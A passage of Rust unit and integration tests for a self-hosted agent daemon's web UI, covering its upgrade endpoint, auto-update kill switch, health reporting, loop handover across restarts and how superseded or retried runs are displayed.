12982        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
12983        // means "never contact GitHub from this process", and a tap on the
12984        // upgrade button must not override that any more than a broken
12985        // `magi.toml` may. Left unset, this fixture's default config would
12986        // otherwise reach a real, unauthenticated GitHub call.
12987        //
12988        // SAFETY: single-threaded as far as this variable goes - nothing else
12989        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
12990        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
12991        unsafe {
12992            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12993        }
12994        let fx = Fixture::start().await;
12995        let res = fx.post("/api/upgrade", None).await;
12996        unsafe {
12997            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12998        }
12999        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13000        let body = res.json();
13001        assert!(body["to"].is_null(), "there was no release to move to");
13002        assert!(body["parked"].is_null(), "and nothing was parked");
13003        assert!(
13004            body["detail"]
13005                .as_str()
13006                .unwrap()
13007                .contains("disabled by MAGI_NO_AUTOUPDATE"),
13008            "{body:?}"
13009        );
13010    }
13011
13012    #[tokio::test]
13013    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13014        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
13015        // and the route answers from its own logic.
13016        //
13017        // This test used to lean on the fixture's placeholder repo failing
13018        // config discovery, which left `mode = "notify"` - and a live,
13019        // unauthenticated call to the GitHub releases API inside a unit test.
13020        // GitHub allows 60 of those an hour per address, so the suite went red
13021        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
13022        // long as somebody kept re-running it: every attempt spent another
13023        // request. Six reruns across four pull requests were charged to that
13024        // before it was read as a rate limit rather than a flake.
13025        //
13026        // What the assertion is about is the "already current" branch, which
13027        // is reached by there being no newer release *or* nowhere to look. The
13028        // second one needs no network and cannot be rate limited.
13029        let repo = TempDir::new().expect("repo dir");
13030        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13031            .expect("write magi.toml");
13032        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13033
13034        // It must answer 200 and leave the process alone: restarting for an
13035        // upgrade that did not happen parks the run in flight and drops every
13036        // connection to pay for nothing. A probe against a deck already on the
13037        // newest build did exactly that, which is how this case got its own
13038        // branch.
13039        let res = fx.post("/api/upgrade", None).await;
13040        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13041        let body = res.json();
13042        assert!(body["to"].is_null(), "there was no release to move to");
13043        assert!(body["parked"].is_null(), "and nothing was parked");
13044        assert!(
13045            body["detail"]
13046                .as_str()
13047                .unwrap()
13048                .contains("nothing restarted"),
13049            "{body:?}"
13050        );
13051    }
13052
13053    #[tokio::test]
13054    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13055        // `mode = "off"` for the same reason as the test above: a default
13056        // fixture repo falls back to `mode = "notify"`, which would make this
13057        // route's new `update` field a live, unauthenticated GitHub call on
13058        // every assertion in this suite that happens to hit `/api/health`.
13059        let repo = TempDir::new().expect("repo dir");
13060        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13061            .expect("write magi.toml");
13062        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13063
13064        let health = fx.get("/api/health").await.json();
13065        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13066        assert_eq!(
13067            health["update"]["available"], false,
13068            "checking is off, which reads as \"unknown\", not \"none\""
13069        );
13070        assert!(health["update"]["to"].is_null());
13071        assert!(
13072            health["upgrade"].is_null(),
13073            "nothing has ever asked this deck to upgrade"
13074        );
13075    }
13076
13077    #[tokio::test]
13078    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13079        let fx = Fixture::start().await;
13080        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13081
13082        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13083        progress.parked_run = Some("20260905-000000-cd51".to_owned());
13084        progress.advance(crate::updater::Stage::Parking);
13085        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13086
13087        let health = fx.get("/api/health").await.json();
13088        assert_eq!(health["upgrade"]["stage"], "parking");
13089        assert_eq!(health["upgrade"]["from"], "0.5.1");
13090        assert_eq!(health["upgrade"]["to"], "0.5.2");
13091        let waiting_on = health["upgrade"]["waiting_on"]
13092            .as_str()
13093            .expect("waiting_on is set while parking a known run");
13094        assert!(waiting_on.contains("cd51"), "{waiting_on}");
13095        assert!(waiting_on.contains("implementing"), "{waiting_on}");
13096    }
13097
13098    #[tokio::test]
13099    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13100        let fx = Fixture::start().await;
13101        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13102        progress.advance(crate::updater::Stage::Done);
13103        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13104
13105        let health = fx.get("/api/health").await.json();
13106        assert_eq!(health["upgrade"]["stage"], "done");
13107        assert!(
13108            health["upgrade"]["waiting_on"].is_null(),
13109            "nothing to wait on once it is done"
13110        );
13111    }
13112
13113    #[tokio::test]
13114    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13115        let home = TempDir::new().expect("temp home");
13116        let runs = home.path().join("runs");
13117        std::fs::create_dir_all(&runs).expect("runs dir");
13118        let ui = Ui::new(
13119            Queue::at(home.path().join("queue")),
13120            Questions::at(home.path().join("questions")),
13121            Talks::at(home.path().join("talks")),
13122            runs,
13123            home.path().to_path_buf(),
13124            PathBuf::from("/repo/magi"),
13125        )
13126        .with_launch(launch_idle);
13127        let looping = ui.looping();
13128        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13129            .await
13130            .expect("bind loopback");
13131        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13132
13133        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13134        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13135
13136        hand_over(home.path(), &looping, served, |_| Ok(()))
13137            .await
13138            .expect("hand over");
13139
13140        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13141        assert_eq!(
13142            after.stage,
13143            crate::updater::Stage::Restarting,
13144            "hand_over owns the record through parking and up to restarting; \
13145             the successor is what finishes it"
13146        );
13147    }
13148
13149    fn idle_ui(home: &TempDir) -> Ui {
13150        let runs = home.path().join("runs");
13151        std::fs::create_dir_all(&runs).expect("runs dir");
13152        Ui::new(
13153            Queue::at(home.path().join("queue")),
13154            Questions::at(home.path().join("questions")),
13155            Talks::at(home.path().join("talks")),
13156            runs,
13157            home.path().to_path_buf(),
13158            PathBuf::from("/repo/magi"),
13159        )
13160        .with_launch(launch_idle)
13161    }
13162
13163    /// Run `hand_over` against `ui` and return what the successor was told.
13164    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13165        let looping = ui.looping();
13166        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13167            .await
13168            .expect("bind loopback");
13169        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13170        let told = std::sync::Mutex::new(None);
13171        hand_over(home.path(), &looping, served, |resume| {
13172            *told.lock().unwrap() = Some(resume);
13173            Ok(())
13174        })
13175        .await
13176        .expect("hand over");
13177        told.into_inner().unwrap().expect("successor was started")
13178    }
13179
13180    #[tokio::test]
13181    async fn a_running_loop_is_resumed_by_the_successor() {
13182        let home = TempDir::new().expect("temp home");
13183        let ui = idle_ui(&home);
13184        ui.start_loop(None).expect("start");
13185        ui.park_for_upgrade().expect("park");
13186        // The idle loop sees the park and ends before the handover fires.
13187        for _ in 0..500 {
13188            if !ui.loop_view(None).running {
13189                break;
13190            }
13191            tokio::time::sleep(Duration::from_millis(2)).await;
13192        }
13193        assert!(handed_over(&home, ui).await, "a running loop must resume");
13194
13195        let successor = idle_ui(&home);
13196        assert!(!successor.loop_view(None).running);
13197        assert!(successor.resume_after_handover(true));
13198        assert!(successor.loop_view(None).running);
13199        successor.stop_loop(None, false).expect("stop");
13200    }
13201
13202    #[tokio::test]
13203    async fn a_second_upgrade_request_keeps_the_resume_intent() {
13204        let home = TempDir::new().expect("temp home");
13205        let ui = idle_ui(&home);
13206        ui.start_loop(None).expect("start");
13207        ui.park_for_upgrade().expect("first park");
13208        ui.park_for_upgrade().expect("second park");
13209        assert!(handed_over(&home, ui).await);
13210    }
13211
13212    #[tokio::test]
13213    async fn a_stop_during_the_handover_wait_is_honoured() {
13214        let home = TempDir::new().expect("temp home");
13215        let ui = idle_ui(&home);
13216        ui.start_loop(None).expect("start");
13217        ui.park_for_upgrade().expect("park");
13218        ui.stop_loop(None, false).expect("stop");
13219        assert!(!handed_over(&home, ui).await);
13220    }
13221
13222    #[tokio::test]
13223    async fn an_idle_loop_stays_stopped_across_the_handover() {
13224        let home = TempDir::new().expect("temp home");
13225        let ui = idle_ui(&home);
13226        ui.park_for_upgrade().expect("park");
13227        assert!(!handed_over(&home, ui).await);
13228
13229        let successor = idle_ui(&home);
13230        assert!(!successor.resume_after_handover(false));
13231        assert!(!successor.loop_view(None).running);
13232    }
13233
13234    #[tokio::test]
13235    async fn a_loop_the_operator_stopped_is_not_resumed() {
13236        let home = TempDir::new().expect("temp home");
13237        let ui = idle_ui(&home);
13238        ui.start_loop(None).expect("start");
13239        ui.stop_loop(None, false).expect("stop");
13240        ui.park_for_upgrade().expect("park");
13241        assert!(!handed_over(&home, ui).await);
13242    }
13243
13244    #[test]
13245    fn only_an_explicit_one_requests_a_resume() {
13246        assert!(!resume_requested(None));
13247        assert!(!resume_requested(Some("0".into())));
13248        assert!(!resume_requested(Some("".into())));
13249        assert!(resume_requested(Some("1".into())));
13250    }
13251
13252    #[test]
13253    fn the_upgrade_button_arms_before_it_restarts_anything() {
13254        // It ends the process the operator is talking to, and a phone in a
13255        // pocket taps things. One tap arms, the second commits.
13256        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13257        assert!(APP_JS.contains("Replace the binary and restart?"));
13258        assert!(APP_JS.contains("function confirmed("));
13259        // Hidden when the loop is somebody else's, matching the 409 above -
13260        // and hidden with nothing to install, matching the 200 "already
13261        // current" branch: an operator on the newest build must not be
13262        // offered a restart that would only park a run for nothing.
13263        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13264        // A park waits for the node in flight, up to an hour for an implement
13265        // wave. Leaving the button reading "Upgrading…" for that long is the
13266        // same mistake as an error rendered off screen: it looks wedged.
13267        assert!(
13268            APP_JS.contains("Parking, then restarting"),
13269            "the button says what it is waiting for"
13270        );
13271        // And nothing to install must give the button back rather than
13272        // pretending a restart is coming.
13273        assert!(APP_JS.contains("if (!out.to)"));
13274    }
13275
13276    #[test]
13277    fn stopping_the_loop_arms_but_starting_does_not() {
13278        // A stray tap must not leave the queue stopped overnight, so a stop is
13279        // two taps through the same helper the upgrade uses; a start stays one.
13280        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13281        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13282        assert!(APP_JS.contains("confirmed(button, question)"));
13283        // The label put back on timeout is the one saved when arming, not a
13284        // hard-coded upgrade caption that would rename the stop button.
13285        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
13286        assert!(APP_JS.contains("const label = btn.textContent;"));
13287        assert!(!APP_JS.contains("Neither direction is guarded"));
13288    }
13289
13290    #[test]
13291    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13292        assert!(
13293            APP_JS.contains("state.health.version"),
13294            "the operator wants to know what is running even with nothing newer"
13295        );
13296        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13297    }
13298
13299    #[test]
13300    fn the_upgrade_button_names_its_destination() {
13301        assert!(
13302            APP_JS.contains("`Update to ${update.to}`"),
13303            "pressing the button should not be a surprise about what it moves to"
13304        );
13305    }
13306
13307    #[test]
13308    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13309        for stage in ["downloading", "replaced", "parking", "restarting"] {
13310            assert!(
13311                APP_JS.contains(&format!("\"{stage}\"")),
13312                "the phone must be able to tell {stage} apart from the others"
13313            );
13314        }
13315        assert!(APP_JS.contains(".waiting_on"));
13316        // What replaced the bare "Cannot reach magi: Failed to fetch": a
13317        // fetch failing while an upgrade is in flight is not an error, it is
13318        // the sub-second gap `bind_waiting` covers, and it must not be
13319        // reported as one.
13320        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13321        assert!(APP_JS.contains("reconnects on its own"));
13322    }
13323
13324    #[test]
13325    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13326        // `Stage::Failed` is terminal on the server and nothing clears it on
13327        // its own - not a fresh start, not time passing - so a full-strip
13328        // takeover for it (the way the busy stages take the strip over,
13329        // correctly, because those are transient) would have hidden
13330        // start/stop/park behind an upgrade notice with no way back short of
13331        // a person editing `upgrade.json` by hand or a later release
13332        // happening to succeed. The failure must instead ride along as a note
13333        // next to whatever control the loop's own state already offers.
13334        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13335            ..APP_JS.find("function upgrade(").expect("upgrade")];
13336        assert!(
13337            !body.contains(
13338                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
13339            ),
13340            "a failed upgrade must not take the whole strip over the way it used to"
13341        );
13342        assert!(
13343            body.contains("upgradeFailNote"),
13344            "the failure has to reach the loop's own note instead"
13345        );
13346        // `quiet` and `control` are the only two places `loop-why` is set from
13347        // this function's own state; both must carry the note through, or a
13348        // future edit to either one would silently drop it again.
13349        assert_eq!(
13350            body.matches("upgradeFailNote].filter(Boolean).join")
13351                .count(),
13352            2,
13353            "both loop-why writers (quiet and control) must fold the note in"
13354        );
13355    }
13356
13357    #[test]
13358    fn an_overdue_upgrade_eventually_asks_for_a_human() {
13359        // The ceiling has to clear a full hour-long park with room to spare,
13360        // or an ordinary implement wave would be reported as a stuck upgrade.
13361        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13362        assert!(APP_JS.contains("function upgradeOverdue("));
13363    }
13364
13365    #[test]
13366    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13367        assert!(
13368            APP_JS.contains("Updated to ${upgradeInfo.to"),
13369            "the operator who asked for the restart wants to know it worked"
13370        );
13371    }
13372
13373    #[test]
13374    fn an_error_is_visible_from_where_the_button_is() {
13375        // The alert used to sit in the flow under the header. On a phone
13376        // scrolled 13 500 px down to a run's action sheet that is off screen,
13377        // so tapping Resume and being told "the loop is running run b455
13378        // right now" looked exactly like a button that did nothing.
13379        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13380            ..APP_CSS.find(".alert-text").expect(".alert-text")];
13381        assert!(
13382            alert.contains("position: fixed"),
13383            "an error about the thing under your thumb has to be visible from \
13384             where your thumb is: {alert}"
13385        );
13386        assert!(
13387            alert.contains("z-index: 25"),
13388            "above the dock (20) and the run-actions FAB (15), so neither \
13389             buries it: {alert}"
13390        );
13391        assert!(
13392            alert.contains("var(--tap)"),
13393            "and clear of the dock and the home indicator: {alert}"
13394        );
13395        // The FAB sits at the same height on the right. An error that covered
13396        // it would hide the button the operator reaches for next.
13397        assert!(
13398            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13399            "the FAB's column stays free: {alert}"
13400        );
13401    }
13402
13403    #[tokio::test]
13404    async fn an_older_attempt_says_what_replaced_it() {
13405        let fx = Fixture::start().await;
13406        let q = fx.queue();
13407        let runs = fx.runs();
13408        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13409        write_run(&runs, first, RunStatus::Stalled);
13410        write_run(&runs, second, RunStatus::Blocked);
13411
13412        let mut t = Task::new(
13413            "one task".to_owned(),
13414            "do it".to_owned(),
13415            PathBuf::from("/repo"),
13416            Source::Human,
13417        );
13418        t.runs = vec![first.to_owned(), second.to_owned()];
13419        q.put(&mut t).expect("put");
13420
13421        // Two cards with the same title and no hint which is which was the
13422        // question: "why are there two of the same, one stalled and one
13423        // blocked?" The older one now names its replacement.
13424        let rows = fx.get("/api/runs").await.json();
13425        let by = |short: &str| -> Value {
13426            rows.as_array()
13427                .unwrap()
13428                .iter()
13429                .find(|r| r["short"] == short)
13430                .cloned()
13431                .unwrap_or(Value::Null)
13432        };
13433        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13434        assert!(
13435            by("bbbb")["superseded_by"].is_null(),
13436            "the latest attempt is not superseded by anything"
13437        );
13438        // Front end: the note has to be rendered, not just carried.
13439        assert!(APP_JS.contains("run.superseded_by"));
13440        assert!(APP_JS.contains("Superseded by"));
13441    }
13442
13443    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13444        let mut t = Task::new(
13445            "one task".to_owned(),
13446            "do it".to_owned(),
13447            PathBuf::from("/repo"),
13448            Source::Human,
13449        );
13450        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13451        t.status = status;
13452        t
13453    }
13454
13455    #[test]
13456    fn source_link_picks_the_page_that_filed_the_task() {
13457        let agent = |node: &str| Source::Agent {
13458            run: "20260904-014455-ab12".to_owned(),
13459            node: node.to_owned(),
13460        };
13461        let chat = source_link(&agent("chat")).expect("chat link");
13462        assert_eq!(chat.kind, "chat");
13463        assert_eq!(chat.id, "20260904-014455-ab12");
13464        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13465        let run = source_link(&agent("implement")).expect("run link");
13466        assert_eq!(
13467            (run.kind, run.href.as_str()),
13468            ("run", "#/runs/20260904-014455-ab12")
13469        );
13470        assert_eq!(source_link(&Source::Human), None);
13471        assert_eq!(
13472            source_link(&Source::Issue {
13473                number: 3,
13474                repo: "o/r".to_owned()
13475            }),
13476            None
13477        );
13478        let odd = source_link(&Source::Agent {
13479            run: "a b/c".to_owned(),
13480            node: "chat".to_owned(),
13481        })
13482        .expect("link");
13483        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13484    }
13485
13486    #[test]
13487    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13488        assert!(
13489            !APP_JS.contains("src.node === \"chat\""),
13490            "inline href rule is back"
13491        );
13492        assert!(
13493            APP_JS.matches("sourceLinkOf(").count() >= 4,
13494            "helper must serve every page"
13495        );
13496        assert!(
13497            APP_JS.matches("openChatLink(").count() >= 3,
13498            "the run page still needs its explicit chat link"
13499        );
13500        assert!(
13501            !APP_JS.contains("const openChat = el("),
13502            "the Queue card duplicates its source label link again"
13503        );
13504        assert!(
13505            APP_JS.contains("metaKids.push(link ? el(\"a\""),
13506            "the task page must link a chat source label too"
13507        );
13508    }
13509
13510    #[test]
13511    fn task_ref_carries_the_source_link_for_a_chat_task() {
13512        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13513        t.source = Source::Agent {
13514            run: "20260904-014455-ab12".to_owned(),
13515            node: "chat".to_owned(),
13516        };
13517        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13518        let v = serde_json::to_value(&out).expect("json");
13519        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13520        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13521        assert_eq!(v["source_label"], t.source.label());
13522
13523        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13524        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13525            .expect("json");
13526        assert!(v["source_link"].is_null(), "{v}");
13527    }
13528
13529    #[test]
13530    fn task_view_serializes_source_link() {
13531        let mut t = Task::new(
13532            "t".to_owned(),
13533            "t".to_owned(),
13534            PathBuf::from("/repo"),
13535            Source::Agent {
13536                run: "20260901-000000-aaaa".to_owned(),
13537                node: "implement".to_owned(),
13538            },
13539        );
13540        t.runs.clear();
13541        let v = serde_json::to_value(TaskView::from(t)).expect("json");
13542        assert_eq!(v["source_link"]["kind"], "run", "{v}");
13543        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13544    }
13545
13546    #[tokio::test]
13547    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13548        let fx = Fixture::start().await;
13549        let runs = fx.runs();
13550        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13551        write_run(&runs, old, RunStatus::Blocked);
13552        write_run(&runs, new, RunStatus::Merged);
13553        let mut t = outcome_task(&[old, new], TaskStatus::Done);
13554        fx.queue().put(&mut t).expect("put");
13555
13556        let view = fx.get(&format!("/api/runs/{old}")).await.json();
13557        let task = &view["task"];
13558        assert_eq!(task["status"], "done");
13559        assert_eq!(task["is_latest"], false);
13560        assert_eq!(task["latest"]["short"], "bbbb");
13561        assert_eq!(task["finished_by"]["id"], new);
13562        assert_eq!(task["finished_by"]["outcome"], "merged");
13563        assert_eq!(task["closed_by_hand"], false);
13564        assert_eq!(view["status"], "blocked", "the run keeps its own status");
13565        assert!(APP_JS.contains("finished_by"));
13566        assert!(APP_JS.contains("superseded by run"));
13567    }
13568
13569    #[tokio::test]
13570    async fn the_latest_run_reports_a_held_task_without_a_successor() {
13571        let fx = Fixture::start().await;
13572        let runs = fx.runs();
13573        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13574        write_run(&runs, old, RunStatus::Stalled);
13575        write_run(&runs, new, RunStatus::Blocked);
13576        let mut t = outcome_task(&[old, new], TaskStatus::Held);
13577        fx.queue().put(&mut t).expect("put");
13578
13579        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13580        assert_eq!(task["status"], "held");
13581        assert_eq!(task["is_latest"], true);
13582        assert!(task["latest"].is_null());
13583        assert!(task["finished_by"].is_null());
13584        assert_eq!(task["closed_by_hand"], false);
13585    }
13586
13587    #[tokio::test]
13588    async fn a_direct_run_has_no_task_outcome() {
13589        let fx = Fixture::start().await;
13590        let runs = fx.runs();
13591        let id = "20260901-000000-aaaa";
13592        write_run(&runs, id, RunStatus::Blocked);
13593        let view = fx.get(&format!("/api/runs/{id}")).await.json();
13594        assert!(view["task"].is_null());
13595    }
13596
13597    #[test]
13598    fn task_outcome_does_not_guess_a_finishing_run() {
13599        let a = "20260901-000000-aaaa";
13600        let b = "20260901-000000-bbbb";
13601        let c = "20260901-000000-cccc";
13602        let dir = tempfile::tempdir().expect("tempdir");
13603        write_run(dir.path(), a, RunStatus::Blocked);
13604        write_run(dir.path(), b, RunStatus::VerifiedNoop);
13605        // `c` has no record: unreadable.
13606        let read = |id: &str| read_run(dir.path(), id).ok();
13607        // Neither a blocked run nor a no-op finished the task; the newest run is
13608        // unreadable and still named.
13609        let t = outcome_task(&[a, b, c], TaskStatus::Done);
13610        let out = task_outcome(&t, a, 3, read);
13611        assert!(out.finished_by.is_none());
13612        assert!(out.closed_by_hand);
13613        let latest = out.latest.expect("latest");
13614        assert_eq!(latest.id, c);
13615        assert_eq!(latest.status, None);
13616        assert_eq!(latest.outcome, "record unreadable");
13617
13618        // A Ready run settles the task as done, so it is named as the finisher.
13619        write_run(dir.path(), c, RunStatus::Ready);
13620        let t = outcome_task(&[a, c], TaskStatus::Done);
13621        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13622        assert_eq!(out.finished_by.expect("finisher").id, c);
13623        assert!(!out.closed_by_hand);
13624
13625        // A resumed run id repeats: it is still the latest by id.
13626        let t = outcome_task(&[a, b, a], TaskStatus::Held);
13627        assert!(task_outcome(&t, a, 3, read).is_latest);
13628    }
13629
13630    #[tokio::test]
13631    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13632        // The list route has known this since the card fix above; the detail
13633        // route — what an operator actually opens from a notification about
13634        // a blocked run — did not, and went on showing a bare red BLOCKED
13635        // chip for a run a retry had already finished.
13636        let fx = Fixture::start().await;
13637        let q = fx.queue();
13638        let runs = fx.runs();
13639        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13640        write_run(&runs, first, RunStatus::Blocked);
13641        write_run(&runs, second, RunStatus::Merged);
13642
13643        let mut t = Task::new(
13644            "one task".to_owned(),
13645            "do it".to_owned(),
13646            PathBuf::from("/repo"),
13647            Source::Human,
13648        );
13649        t.runs = vec![first.to_owned(), second.to_owned()];
13650        q.put(&mut t).expect("put");
13651
13652        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13653        assert_eq!(earlier["superseded_by"], "dddd");
13654        assert_eq!(earlier["latest_attempt"]["id"], second);
13655        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13656        assert_eq!(
13657            earlier["latest_attempt"]["resolved"], true,
13658            "the run that replaced it landed, so this one reads as settled"
13659        );
13660
13661        let later = fx.get(&format!("/api/runs/{second}")).await.json();
13662        assert!(
13663            later["superseded_by"].is_null(),
13664            "the latest attempt is not superseded by anything"
13665        );
13666        assert!(
13667            later["latest_attempt"].is_null(),
13668            "the latest attempt has no later attempt of its own"
13669        );
13670
13671        // Front end: the detail page has to read the field this route now
13672        // carries, downgrade the chip, and link to the run that replaced it —
13673        // not just repeat the list card's own logic under a different name.
13674        // The link is built off `latest_attempt.id`, the server-resolved
13675        // full id, never a bare short string a client would have to guess a
13676        // full run from.
13677        assert!(APP_JS.contains("run.latest_attempt"));
13678        assert!(APP_JS.contains("data-superseded"));
13679        assert!(APP_JS.contains("#/runs/${latest.id}"));
13680    }
13681
13682    #[tokio::test]
13683    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13684        // A -> B -> C, all Blocked except the last. A's immediate successor
13685        // (superseded_by) is B, which is itself unresolved; what an operator
13686        // opening A's page actually needs is where the task's story stands
13687        // *now* - C, not B - without depending on whether C happens to be in
13688        // whatever page of /api/runs the client last cached.
13689        let fx = Fixture::start().await;
13690        let q = fx.queue();
13691        let runs = fx.runs();
13692        let (a, b, c) = (
13693            "20260901-000000-aaaa",
13694            "20260901-000000-bbbb",
13695            "20260901-000000-cccc",
13696        );
13697        write_run(&runs, a, RunStatus::Blocked);
13698        write_run(&runs, b, RunStatus::Blocked);
13699        write_run(&runs, c, RunStatus::Merged);
13700
13701        let mut t = Task::new(
13702            "retried twice".to_owned(),
13703            "do it".to_owned(),
13704            PathBuf::from("/repo"),
13705            Source::Human,
13706        );
13707        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13708        q.put(&mut t).expect("put");
13709
13710        let view = fx.get(&format!("/api/runs/{a}")).await.json();
13711        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13712        assert_eq!(
13713            view["latest_attempt"]["id"], c,
13714            "the chain's current head, not the intermediate Blocked retry"
13715        );
13716        assert_eq!(view["latest_attempt"]["resolved"], true);
13717
13718        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13719        assert_eq!(mid["latest_attempt"]["id"], c);
13720        assert_eq!(mid["latest_attempt"]["resolved"], true);
13721    }
13722
13723    #[tokio::test]
13724    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13725        let fx = Fixture::start().await;
13726        let q = fx.queue();
13727        let runs = fx.runs();
13728
13729        // Still Blocked: the task is not resolved, so the older run must not
13730        // read as settled either.
13731        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13732        write_run(&runs, still_blocked_a, RunStatus::Blocked);
13733        write_run(&runs, still_blocked_b, RunStatus::Blocked);
13734        let mut t1 = Task::new(
13735            "still stuck".to_owned(),
13736            "do it".to_owned(),
13737            PathBuf::from("/repo"),
13738            Source::Human,
13739        );
13740        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13741        q.put(&mut t1).expect("put");
13742        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13743        assert_eq!(view1["latest_attempt"]["resolved"], false);
13744        assert_eq!(view1["latest_attempt"]["status"], "blocked");
13745        assert_eq!(view1["latest_attempt"]["done"], true);
13746
13747        // Still running: the successor exists and must be reported as such.
13748        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13749        write_run(&runs, run_a, RunStatus::Blocked);
13750        write_run(&runs, run_b, RunStatus::Implementing);
13751        let mut t3 = Task::new(
13752            "retrying".to_owned(),
13753            "do it".to_owned(),
13754            PathBuf::from("/repo"),
13755            Source::Human,
13756        );
13757        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13758        q.put(&mut t3).expect("put");
13759        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13760        assert_eq!(view3["latest_attempt"]["id"], run_b);
13761        assert_eq!(view3["latest_attempt"]["resolved"], false);
13762        assert_eq!(view3["latest_attempt"]["done"], false);
13763
13764        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
13765        // to check - not a confirmed finish, so this must not read as
13766        // resolved either, even though the run is done in the sense that
13767        // nothing is still running.
13768        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13769        write_run(&runs, noop_a, RunStatus::Blocked);
13770        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13771        let mut t2 = Task::new(
13772            "claims done".to_owned(),
13773            "do it".to_owned(),
13774            PathBuf::from("/repo"),
13775            Source::Human,
13776        );
13777        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13778        q.put(&mut t2).expect("put");
13779        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13780        assert_eq!(
13781            view2["latest_attempt"]["resolved"], false,
13782            "an unverified no-op claim must not read as a confirmed finish"
13783        );
13784
13785        // Front end: an unresolved successor must not carry the "finished
13786        // this work" note or the muted chip treatment.
13787        assert!(APP_JS.contains("latest.resolved"));
13788        // ...but the link to it shows as soon as it exists, labelled by state
13789        // and without the "finished" wording or the muted chip.
